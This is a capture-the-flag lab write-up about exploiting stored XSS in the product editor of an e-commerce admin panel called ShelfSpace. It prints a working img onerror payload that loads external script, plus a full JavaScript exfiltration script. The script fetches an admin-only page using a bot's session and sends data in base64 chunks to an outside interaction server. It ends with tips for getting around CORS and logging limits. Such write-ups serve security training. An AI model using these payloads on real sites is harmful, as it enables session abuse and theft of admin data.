Lab 21 — ShelfSpace — Stored XSS in Product Description Editor
Lab 21 — ShelfSpace — Stored XSS in Product Description Editor
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: admin_page_fetch_exfiltration, base64_chunked_exfiltration_via_image_src, bot_triggered_xss, external_script_loading, stored_xss_via_img_onerror
Summary
Task: E-commerce platform (ShelfSpace) with rich text editor for product descriptions, no HTML sanitization, and an admin QA bot that reviews products. Solution: Stored XSS via <img onerror> in product description loads external JS that fetches admin-only /admin/settings page and exfiltrates the flag via Image request URL paths.
Lab 21 — ShelfSpace — Stored XSS in Product Description Editor — HackAdvisor
Description
You have been hired to perform a security assessment of ShelfSpace, an e-commerce management platform used by independent sellers to manage their products, collections, and orders. The platform features a rich text editor for product descriptions that supports HTML formatting. Staff members with varying permission levels collaborate on the same storefront, while an automated quality assurance bot periodically reviews newly created and updated products. Your goal is to find and exploit a vulnerability that allows you to access sensitive data restricted to admin users only. An internal webhook receiver service runs inside the container on port 3001. Credentials: staffuser / staffpass123
English summary: ShelfSpace is an e-commerce admin panel where staff users can create/edit products using a rich text editor that supports raw HTML. An automated QA bot with admin privileges periodically visits product pages. The goal is to exploit stored XSS to access the admin-only /admin/settings page and extract the flag.
Analysis
Reconnaissance
Logged in as staffuser / staffpass123 at /admin/login. The admin panel exposes several sections:
/admin/dashboard— overview/admin/products— product management with rich text editor/admin/orders— order management/admin/collections— collection management/admin/settings— Access Denied for staff users (admin-only, contains the flag)
The product description editor has both WYSIWYG and HTML Source modes. Critically, the description field accepts arbitrary HTML with no sanitization — tags like <img>, <script>, and event handlers are stored and rendered as-is on both admin product detail pages and the public storefront.
Attack Surface
- Stored XSS — HTML injected into product descriptions persists and renders without sanitization
- Admin QA Bot — an automated bot with admin session cookies periodically visits newly created/updated products
- Interaction Server — available at
http://interact/<instance-id>/for hosting files and receiving exfiltrated data
Key Constraint: <script> Tags Don't Execute via innerHTML
Browsers do not execute <script> tags inserted via innerHTML (which is how the rich text editor content is rendered). The workaround is using event handler attributes like <img src=x onerror="..."> which fire immediately when the broken image fails to load.
Solution
Step 1: Create the Exfiltration Script
Hosted exploit.js on the Interaction Server at http://interact/<instance-id>/exploit.js:
javascript read-only • copy allowed(async function(){ var base = "http://interact/dd70472c-c3e1-440b-8cf6-e5e65741f8df"; try { // Fetch the admin-only settings page using the bot's session let resp = await fetch("/admin/settings"); let data = await resp.text(); // Extract flag via regex (page contains decoy flags in comments/hidden divs) var interesting = ""; var flagMatch = data.match(/flag\{[^}]+\}/i) || data.match(/FLAG\{[^}]+\}/i); if(flagMatch) { interesting = "FLAG:" + flagMatch[0]; } else { // Fallback: extract main content area var mainMatch = data.match(/<main[^>]*>([\s\S]*?)<\/main>/); if(mainMatch) { interesting = mainMatch[1].replace(/<[^>]+>/g,' ').replace(/\s+/g,' ').trim(); } else { interesting = data.replace(/<[^>]+>/g,' ').replace(/\s+/g,' ').trim(); } } // Base64 encode and send in URL-safe chunks via Image requests var encoded = btoa(unescape(encodeURIComponent(interesting))); var chunkSize = 150; for(var i = 0; i < encoded.length; i += chunkSize) { var chunk = encoded.substring(i, i + chunkSize); var safe = chunk.replace(/\+/g,'-').replace(/\//g,'_').replace(/=/g,'.'); new Image().src = base + "/d" + Math.floor(i/chunkSize) + "/" + safe; } } catch(e) { new Image().src = base + "/err/" + encodeURIComponent(e.message).substring(0,200); } })();
Step 2: Inject Stored XSS Payload
Created a product via POST to /admin/products with the following HTML in the description field:
html read-only • copy allowed<img src=x onerror="var s=document.createElement(`script`);s.src=`http://interact/dd70472c-c3e1-440b-8cf6-e5e65741f8df/exploit.js`;document.head.appendChild(s)">
This payload:
- Renders an
<img>tag with an invalidsrc=x - The image fails to load →
onerrorfires - Creates a
<script>element pointing to the external exploit JS - Appends it to
document.head, causing the browser to fetch and execute it
Step 3: Trigger the Bot and Receive Exfiltrated Data
Updated the product to trigger the QA bot to revisit it. The execution chain:
- Bot (with admin session) loads the product page
<img src=x>fails →onerrorfires →exploit.jsloaded from Interaction Serverexploit.jsexecutesfetch("/admin/settings")with the bot's admin cookies- Flag extracted via regex, base64-encoded, and sent as URL path segments via
new Image().src
The Interaction Server request log showed:
GET /d0/RkxBRzpGTEFHezlhN2ZkYjQyZmY3NjkwOGNlMDA1NWMyODY4MmU4ZWUxfQ..
Base64 decoded: FLAG:FLAG{REDACTED}
Lessons Learned
<script>via innerHTML doesn't execute — use<img onerror>or dynamically create and append<script>elementsfetch()to external origins fails due to CORS — usenew Image().srcfor exfiltration (no CORS restrictions on image requests)- Data in query parameters may not appear in logs — encode data in the URL path instead
- Minimize exfiltrated data — the bot has a short page visit duration; extracting the full HTML page with delays between chunks caused incomplete exfiltration. Using regex to extract only the flag and sending all chunks simultaneously (no delays) solved this
- Watch for decoy flags — the page contained
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in HTML comments and hidden divs designed to trick automated scanners